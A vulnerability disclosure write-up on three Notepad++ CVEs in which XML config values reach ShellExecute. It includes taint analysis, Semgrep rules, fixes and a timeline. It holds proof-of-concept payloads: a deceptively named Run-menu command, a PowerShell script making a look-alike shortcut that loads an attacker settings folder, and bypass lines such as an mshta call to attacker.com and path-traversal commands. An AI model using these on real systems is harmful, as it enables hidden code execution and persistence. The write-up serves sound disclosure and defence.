Introduction

Notepad++ is one of the most widely used text editors on Windows, with over 28 million downloads. Its codebase is entirely open source and written in C++, which makes it an ideal target for static security analysis.

This writeup documents the discovery of three Remote Code Execution vulnerabilities found through taint analysis of PowerEditor's source code (v8.9.5). All three share the same root cause: data read from XML configuration files flows directly into the Windows ShellExecute API with no validation, whitelisting, or integrity checks.

Files involved:

  • %APPDATA%\Notepad++\config.xml → CVE-2026-48778
  • %APPDATA%\Notepad++\shortcuts.xml → CVE-2026-48800

Setup: Loading the Codebase

The analysis started by extracting the PowerEditor.zip archive from the official Notepad++ repository and mapping its structure:

PowerEditor/
└── src/
    ├── Parameters.cpp          (~8000 lines — config loading, XML parsing)
    ├── NppCommands.cpp         (command dispatch — IDM_* handlers)
    ├── NppXml.h                (pugixml wrapper)
    ├── WinControls/
    │   ├── StaticDialog/RunDlg/RunDlg.cpp   (Command::run → ShellExecute)
    │   └── shortcut/shortcut.h              (UserCommand class)
    └── MISC/
        ├── PluginsManager/PluginsManager.cpp
        └── Process/Processus.cpp

The XML parsing layer is handled by a thin wrapper around pugixml defined in NppXml.h:

// NppXml.h — the wrapper around pugixml
namespace NppXml
{
    using Document  = pugi::xml_document*;
    using Element   = pugi::xml_node;
    using Node      = pugi::xml_node;

    [[nodiscard]] inline bool loadFileShortcut(Document doc, const wchar_t* filename) {
        return doc->load_file(filename,
            pugi::parse_cdata | pugi::parse_escapes |
            pugi::parse_comments | pugi::parse_declaration);
    }

    // The key source function — reads a text node's value
    [[nodiscard]] inline const char* value(Node node) {
        return node.value();   // raw pugi::xml_node::value()
    }
}

Every call to NppXml::value() is a potential taint source: it returns raw string data from an XML file on disk, entirely controllable by whoever last wrote that file.


Threat Model and Attack Surface

What can an attacker control?

Notepad++ keeps its configuration in %APPDATA%\Notepad++\. This directory is writable by any process running under the same user account — no elevated privileges required. An attacker can write to these files via:

VectorDescription
Process running as the same userAny code running as the logged-in user
Archive extractionA ZIP/RAR file that extracts files into AppData
Cloud sync poisoningOneDrive/Dropbox sync of a shared folder
-settingsDir=PATHNPP command-line flag pointing to a custom config directory
Malicious .lnk shortcutnotepad++.exe -settingsDir="C:\attacker\evil_config"

The -settingsDir= vector is particularly insidious: the attacker supplies a self-contained directory with malicious XML files. The victim's real %APPDATA%\Notepad++ is never touched.

What's the sink?

The execution sink is ShellExecute, called in RunDlg.cpp:221:

// RunDlg.cpp — Command::run()
HINSTANCE res = ::ShellExecute(hWnd, L"open",
    cmd2Exec,    // ← executable path
    args2Exec,   // ← arguments
    cwd2Exec,    // ← working directory
    SW_SHOW);

cmd2Exec derives from _cmdLine, which is the internal state of the Command object. The question is: what populates _cmdLine?


Phase 1: Taint Analysis with Semgrep

Since CodeQL's CLI requires a buildable Windows project, I used Semgrep 1.163.0 with custom rules to trace data flows from NppXml::value() to ShellExecute.

Semgrep Rules

Seven rules were written covering direct flows, propagation through string2wstring, and memory-corruption sinks:

rules:
  - id: npp-commandline-interpreter-xml
    severity: ERROR
    message: >
      [EXEC_RCE][src:XML_CONFIG] _commandLineInterpreter read from config.xml
      via NppXml::value, used as an executable in Command::run() -> ShellExecute.
    languages: [cpp]
    pattern-either:
      - pattern: |
          const char* $CLI = NppXml::value($NODE);
          ...
          _nppGUI._commandLineInterpreter = string2wstring($CLI);

  - id: npp-xml-value-to-shellexecute
    severity: ERROR
    message: >
      [EXEC_RCE][src:XML_CONFIG] NppXml::value() reaches ShellExecute.
    languages: [cpp]
    pattern-either:
      - pattern: |
          $VAR = NppXml::value(...);
          ...
          ShellExecute(..., $VAR, ...);
      - pattern: |
          $VAR = NppXml::value(...);
          ...
          ShellExecuteW(..., $VAR, ...);

  - id: npp-wcscpy-path-overflow
    severity: WARNING
    message: >
      [MEM_CORRUPTION] wcscpy/wcscat into a fixed buffer with a path coming from XML.
    languages: [cpp]
    pattern-either:
      - pattern: std::wcscpy($DEST, $SRC)
      - pattern: wcscpy($DEST, $SRC)

Running the Analysis

semgrep \
  --config npp_rce_taint.yml \
  --json \
  --no-git-ignore \
  --timeout 120 \
  --jobs 4 \
  PowerEditor/src/ \
  > raw_results.json

Results: 3 Semgrep findings + 8 grep-assisted findings = 11 total

After deduplication and prioritization, the findings were exported to CSV with severity, sink category, source category, and taint flow for each entry.


Phase 2: Manual Verification of Findings

Each of the 11 findings was manually verified against the source code. Result:

IDFileVerdict
NPP-RCE-001Parameters.cpp:6430✅ CONFIRMED
NPP-RCE-002Parameters.cpp:3658✅ CONFIRMED
NPP-DLL-001PluginsManager.cpp:131⚠️ Portable mode only
NPP-BOF-001Parameters.cpp:4311⚠️ Limited impact
NPP-FP-001NppCommands.cpp:761❌ Intentional behavior
NPP-FP-002NppCommands.cpp:2490❌ HKLM requires admin
NPP-FP-003pluginsAdmin.cpp:704❌ SecurityGuard + DATAFILE flag
NPP-FP-004Processus.cpp:25❌ Signed updater only

The two most interesting false-positive patterns:

  • pluginsAdmin.cpp:704 calls securityGuard.checkModule() before LoadLibraryEx, performing full Authenticode + SHA256 verification — correctly protected.
  • Processus.cpp:25 is instantiated exclusively for the auto-updater (wingup), which is also verified via securityGuard.checkModule() before execution.

CVE-2026-48778: config.xml → ShellExecute

The Source

In Parameters.cpp, the function that loads config.xml iterates over every <GUIConfig> node. When it finds name="commandLineInterpreter", it reads the text content with no validation whatsoever:

// Parameters.cpp:6424-6435 — loadGUIConfig()
// <GUIConfig name="commandLineInterpreter"></GUIConfig>
else if (std::strcmp(nm, "commandLineInterpreter") == 0)
{
    NppXml::Node cmdLineInterpreterNode = NppXml::firstChild(childNode);
    if (cmdLineInterpreterNode)
    {
        const char* cli = NppXml::value(cmdLineInterpreterNode); // ← SOURCE
        if (cli && cli[0])
            _nppGUI._commandLineInterpreter = string2wstring(cli); // ← PROPAGATE
    }
}

The default value (defined in Parameters.h) is %COMSPEC%, which expands to C:\Windows\System32\cmd.exe. The tag is meant to let users replace the shell with PowerShell or an alternative. There is no validation of the accepted value.

The Propagation

_commandLineInterpreter lives in the NppGUI struct and is globally accessible via NppParameters::getInstance().getNppGUI(). Every time the user triggers IDM_FILE_OPEN_CMD, NppCommands.cpp builds a Command object directly from this value:

// NppCommands.cpp:227-231
case IDM_FILE_OPEN_CMD:
{
    Command cmd(NppParameters::getInstance()
        .getNppGUI()._commandLineInterpreter.c_str()); // ← PROPAGATE
    cmd.run(_pPublicInterface->getHSelf(),
            L"$(CURRENT_DIRECTORY)");                  // ← triggers execution
}
break;

The Sink

Command::run() in RunDlg.cpp processes _cmdLine through environment-variable expansion and then calls ShellExecute:

// RunDlg.cpp:197-221 — Command::run()
wchar_t cmd2Exec[MAX_PATH]{};
wchar_t args[MAX_PATH]{};

// Split executable from arguments
extractArgs(cmdPure, MAX_PATH, args, MAX_PATH, _cmdLine.c_str());

// Expand %ENVIRONMENT_VARIABLES%
int nbTchar = ::ExpandEnvironmentStrings(cmdPure, cmdIntermediate, MAX_PATH);

// Expand $(NPP_VARIABLES)
expandNppEnvironmentStrs(cmdIntermediate, cmd2Exec, MAX_PATH, hWnd);
expandNppEnvironmentStrs(argsIntermediate, args2Exec, args2ExecLen, hWnd);

// ← SINK: cmd2Exec is entirely attacker-controlled
HINSTANCE res = ::ShellExecute(hWnd, L"open",
    cmd2Exec, args2Exec, cwd2Exec, SW_SHOW);

There is no sanitizer anywhere between reading the XML and calling ShellExecute.

Full Taint Flow

config.xml
  <GUIConfig name="commandLineInterpreter">PAYLOAD</GUIConfig>
     │
     ▼ Parameters.cpp:6430
  NppXml::value(cmdLineInterpreterNode)  ← SOURCE
     │
     ▼ Parameters.cpp:6432
  _nppGUI._commandLineInterpreter = string2wstring(cli)
     │
     ▼ NppCommands.cpp:228
  Command cmd(_commandLineInterpreter.c_str())
     │
     ▼ NppCommands.cpp:229
  cmd.run(hWnd, L"$(CURRENT_DIRECTORY)")
     │
     ▼ RunDlg.cpp:203-215
  extractArgs() → ExpandEnvironmentStrings() → expandNppEnvironmentStrs()
     │
     ▼ RunDlg.cpp:221
  ShellExecute(hWnd, "open", cmd2Exec, ...)  ← SINK

Trigger: Menu → File → Open Containing Folder → Command Prompt


CVE-2026-48800: shortcuts.xml → ShellExecute

The Source

In Parameters.cpp, feedUserCmds() parses the <UserDefinedCommands> section of shortcuts.xml. The text content of every <Command> tag is read with NppXml::value() and stored in a UserCommand object:

// Parameters.cpp:3655-3664 — feedUserCmds()
NppXml::Node aNode = NppXml::firstChild(childNode); // text node
if (aNode)
{
    const char* cmdStr = NppXml::value(aNode); // ← SOURCE
    if (cmdStr)
    {
        const auto cmdID = ID_USER_CMD +
            static_cast<int>(_userCommands.size());
        _userCommands.emplace_back(sc, cmdStr, cmdID); // ← PROPAGATE into UserCommand._cmd
        _runMenuItems.emplace_back(cmdID,
            string2wstring(sc.getName()),
            string2wstring(fdnm));
    }
}

The UserCommand class holds the raw command string:

// shortcut.h:317-322
class UserCommand : public CommandShortcut {
    friend class NppParameters;
public:
    UserCommand(const Shortcut& sc, const char* cmd, int id)
        : CommandShortcut(sc, id), _cmd(cmd) { _canModifyName = true; }
    const char* getCmd() const { return _cmd.c_str(); } // ← returns the raw XML value
private:
    std::string _cmd;
};

The Propagation

When the user clicks a Run menu entry corresponding to a UserCommand, NppCommands.cpp dispatches execution:

// NppCommands.cpp:4261-4265
const vector<UserCommand>& theUserCommands =
    (NppParameters::getInstance()).getUserCommandList();
UserCommand ucmd = theUserCommands[i];

Command cmd(string2wstring(ucmd.getCmd(), CP_UTF8)); // ← PROPAGATE: XML → Command
cmd.run(_pPublicInterface->getHSelf());               // ← triggers execution

The Sink

Identical to CVE-2026-48778 — the same Command::run() → ShellExecute path in RunDlg.cpp:221.

Full Taint Flow

shortcuts.xml
  <UserDefinedCommands>
    <Command name="..." ...>PAYLOAD</Command>
  </UserDefinedCommands>
     │
     ▼ Parameters.cpp:3658
  NppXml::value(aNode) = cmdStr  ← SOURCE
     │
     ▼ Parameters.cpp:3662
  _userCommands.emplace_back(sc, cmdStr, cmdID)
     │
     ▼ shortcut.h:321
  UserCommand::getCmd() → _cmd.c_str()
     │
     ▼ NppCommands.cpp:4264
  Command cmd(string2wstring(ucmd.getCmd(), CP_UTF8))
     │
     ▼ NppCommands.cpp:4265
  cmd.run(_pPublicInterface->getHSelf())
     │
     ▼ RunDlg.cpp:221
  ShellExecute(hWnd, "open", cmd2Exec, ...)  ← SINK

Trigger: Menu → Run → [name of the injected command]

Persistence: the injected <Command> entry survives NPP restarts and appears as a normal entry in the Run menu, making this flow particularly well-suited for establishing persistence.


Proof of Concept

PoC Payload: config.xml (CVE-2026-48778)

Replace the commandLineInterpreter tag in %APPDATA%\Notepad++\config.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
    <GUIConfigs>
        <GUIConfig name="commandLineInterpreter">calc.exe</GUIConfig>
    </GUIConfigs>
</NotepadPlus>

PoC Payload: shortcuts.xml (CVE-2026-48800)

Inject a <Command> entry inside <UserDefinedCommands> in %APPDATA%\Notepad++\shortcuts.xml:

<Command name="System Update Check" Ctrl="no" Alt="no" Shift="no" Key="0">calc.exe</Command>

The -settingsDir= Attack Vector

The most insidious delivery mechanism requires no modification to any of the victim's existing files:

# create_evil_lnk.ps1
$lnk = $WshShell.CreateShortcut("Notepad++.lnk")
$lnk.TargetPath  = "C:\Program Files\Notepad++\notepad++.exe"
$lnk.Arguments   = "-settingsDir=`"C:\attacker\evil_config`""
$lnk.IconLocation = "C:\Program Files\Notepad++\notepad++.exe,0"
$lnk.Save()

The resulting .lnk file has the Notepad++ icon, launches the legitimate notepad++.exe binary, but loads its entire configuration from the attacker-controlled directory. The victim's real %APPDATA%\Notepad++ is never touched.

Static Verification

A Python script was written to verify the existence of the taint flows in the source code without requiring Windows or a compiled NPP binary:

# verify_flows.py — static verification of taint flows
def verify_rce001(src: Path) -> VulnVerification:
    params = src / "Parameters.cpp"
    nppcmd = src / "NppCommands.cpp"
    rundlg = src / "WinControls/StaticDialog/RunDlg/RunDlg.cpp"

    # SOURCE
    hits = find_line(str(params), r'NppXml::value\(cmdLineInterpreterNode\)')
    # PROPAGATE
    hits = find_line(str(params), r'_commandLineInterpreter\s*=\s*string2wstring')
    hits = find_line(str(nppcmd), r'Command\s+cmd\(.*_commandLineInterpreter')
    # SINK
    hits = find_line(str(rundlg), r'ShellExecute\(.*cmd2Exec')

    # SANITIZER CHECK — if found, mark as PATCHED
    sanitizers = find_line(str(params),
        r'_commandLineInterpreter.*whitelist|validate.*commandLine')

Run against the v8.9.5 source:

$ python3 verify_flows.py PowerEditor/src/
  NPP-RCE-001: VULNERABLE — 4/4 flow nodes confirmed, 0 sanitizers
  NPP-RCE-002: VULNERABLE — 5/5 flow nodes confirmed, 0 sanitizers
Exit code: 2

Fix Analysis and Residual Risk

Notepad++ v8.9.6.1 introduced a trusted-directory check on the execution sink: before calling ShellExecute, the resolved executable path is validated against a whitelist of trusted directories (C:\Windows\System32, C:\Windows, C:\Program Files, C:\Program Files (x86)).

Coverage in v8.9.6.1:

ScenarioResolved?
C:\Users\evil\malware.exe⚠️ Warning popup shown — the user can still proceed
calc.exe (System32)⚠️ Silently allowed — but visually obvious to the user
cmd.exe /c "C:\evil\malware.exe"❌ cmd.exe is in System32 — silently passes the check
powershell.exe -enc BASE64PAYLOAD❌ powershell.exe is in System32 — silently passes the check
mshta.exe http://attacker.com/evil.hta❌ mshta.exe is in System32 — silently passes the check

The fix covered the most common direct-injection scenarios but could be bypassed via Living Off The Land Binaries (LOLBin) and a path traversal in the trusted-directory check itself. Both bypass vectors are documented and resolved below (CVE-2026-52884).


CVE-2026-52884: Path Traversal and LOLBin Bypass

Advisory: GHSA-p58x-r3c9-x9p6
Affected version: Notepad++ v8.9.6.1
Patched version: v8.9.6.2
CVSS: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 7.8 HIGH
CWE: CWE-42 (Path Traversal) / CWE-59 (Improper Link Resolution)
Credits: Michele Piccinni, Trung Nguyen, Noman Nasir Minhas, Vibhum Dubey

Description

The isInTrustedDirectory() function introduced in v8.9.6.1 (RunDlg.cpp) validates the executable path against a whitelist of trusted directories before calling ShellExecute. However, the check uses a prefix comparison (PathIsPrefix()) without canonicalizing the path first, allowing two distinct bypass vectors.

Root Cause

// VULNERABLE — RunDlg.cpp (v8.9.6.1)
bool isInTrustedDirectory(const wchar_t* path) {
    const wchar_t* trustedDirs[] = {
        L"C:\\Program Files\\",
        L"C:\\Program Files (x86)\\",
        L"C:\\Windows\\System32\\",
        L"C:\\Windows\\"
    };
    for (auto& trusted : trustedDirs) {
        if (PathIsPrefix(trusted, path))  // BUG: no canonicalization
            return true;
    }
    return false;
}

Bypass 1 — Path Traversal (CWE-42)

A ..\..\ sequence after a trusted prefix passes PathIsPrefix() while still resolving to a non-trusted location:

Command in shortcuts.xmlCheck resultPopupOutcome
C:\Users\victim\malware.exeNot trusted✅ YesPopup shown
C:\Windows\System32\..\..\Users\victim\malware.exeTrusted prefix❌ NoExecuted silently
C:\Program Files\..\..\Users\victim\payload.exeTrusted prefix❌ NoExecuted silently

Bypass 2 — LOLBin via Trusted Launcher (CWE-59)

Binaries in System32 pass the check while executing arbitrary code via their own arguments:

CommandResolved binaryPopupOutcome
cmd.exe /c malware.exeC:\Windows\System32\cmd.exe❌ NoExecuted silently
powershell.exe -enc BASE64C:\Windows\System32\powershell.exe❌ NoExecuted silently
rundll32.exe javascript:...C:\Windows\System32\rundll32.exe❌ NoExecuted silently

Taint Flow

shortcuts.xml
  <Command>C:\Windows\System32\..\..\Users\victim\malware.exe</Command>
     │
     ▼ Parameters.cpp:3658
  NppXml::value(aNode)  ← SOURCE (identical to CVE-2026-48800)
     │
     ▼ NppCommands.cpp:4264
  Command cmd(string2wstring(ucmd.getCmd(), CP_UTF8))
     │
     ▼ RunDlg.cpp
  isInTrustedDirectory(cmd2Exec)  ← PREFIX CHECK, NO CANONICALIZATION
     │  PathIsPrefix("C:\\Windows\\System32\\",
     │    "C:\\Windows\\System32\\..\\..\\Users\\victim\\malware.exe")
     │  → returns TRUE (bypass!)
     ▼ RunDlg.cpp:221
  ShellExecute(hWnd, "open", cmd2Exec, ...)  ← SINK, no warning

The Fix (commit ea15088)

// FIXED — RunDlg.cpp (v8.9.6.2)
bool isInTrustedDirectory(const wchar_t* path) {
    wchar_t canonicalPath[MAX_PATH] = {};
    // Resolve all .., . and redundant separators FIRST
    if (!PathCanonicalize(canonicalPath, path))
        return false;
    // NOW check against the trusted directories
    const wchar_t* trustedDirs[] = {
        L"C:\\Program Files\\",
        L"C:\\Program Files (x86)\\",
        L"C:\\Windows\\System32\\",
        L"C:\\Windows\\"
    };
    for (auto& trusted : trustedDirs) {
        if (PathIsPrefix(trusted, canonicalPath))
            return true;
    }
    return false;
}

After canonicalization, C:\Windows\System32\..\..\Users\victim\malware.exe resolves to C:\Users\victim\malware.exe — which fails the trusted check and correctly shows the warning popup.

The LOLBin bypass is covered by the HMAC integrity check on shortcuts.xml: any externally injected command — regardless of the executable path — triggers a tampering warning at execution time.


Responsible Disclosure Timeline

DayEvent
Day 0Taint analysis completed, PoC verified with calc.exe
Day 1Security advisory (DOCX with full CVSS breakdown) sent to [email protected]
Day 6Don Ho responds and requests CVE numbers
Day 6CVE request sent to MITRE; Don Ho informed — fix verification, LOLBin bypass reported, warning popup confirmed, SHA-256/HMAC proposal sent
Day 7Don Ho releases Notepad++ v8.9.6.1 — GitHub assigns both CVEs: CVE-2026-48778 and CVE-2026-48800 — both advisories published publicly on GitHub Security
Day 9Don Ho releases Notepad++ v8.9.6.2
Day 18GitHub assigns CVE-2026-52884, advisory published publicly on GitHub Security
Day 20Public Disclosure

The entire process from initial report to public advisory took 7 days — a remarkably fast turnaround for a project maintained by a single developer. Don Ho was responsive and professional throughout.


Daily Term
Can you guess today’s cybersecurity word in 6 tries?
Play now

Conclusions

These vulnerabilities highlight a common pattern in desktop application security: trust boundaries around configuration files are often implicit and undocumented. Notepad++ correctly verifies plugin signatures (SecurityGuard.checkModule() with Authenticode + SHA256 in pluginsAdmin.cpp) and update installer signatures, but never applied equivalent protection to its own XML configuration files.

The attack surface is limited by the requirement for local filesystem write access, which brings the CVSS score down to 7.8 rather than critical. However, the -settingsDir= delivery vector makes exploitation fully self-contained — no modification to the victim's files, no admin privileges required, no detection by file-integrity monitors watching %APPDATA%.

Key lessons for developers:

  1. Every file read is a potential source. If user-controllable data can end up in a file your application reads at startup, that data must be treated as untrusted regardless of the file's location.
  2. Apply the same security controls consistently. NPP correctly verifies plugin DLL signatures but not the config XML file. An inconsistent security posture creates exploitable gaps.
  3. ShellExecute is a high-value sink. Any data flow reaching ShellExecute, CreateProcess, or LoadLibrary must be treated with the same care as a SQL query or a shell command.
  4. File integrity checks are cheap. A SHA-256 of a configuration file can be computed in microseconds and stored in an adjacent file. The cost of not doing so was two CVEs.

Both vulnerabilities were reported to Don Ho following a responsible disclosure process. The fix was released in Notepad++ v8.9.6.1 before the publication of this writeup.

CVE-2026-48778: GHSA-7hm3-wp5q-ccv9
CVE-2026-48800: GHSA-3x3f-3j39-pj3v
CVE-2026-52884: GHSA-p58x-r3c9-x9p6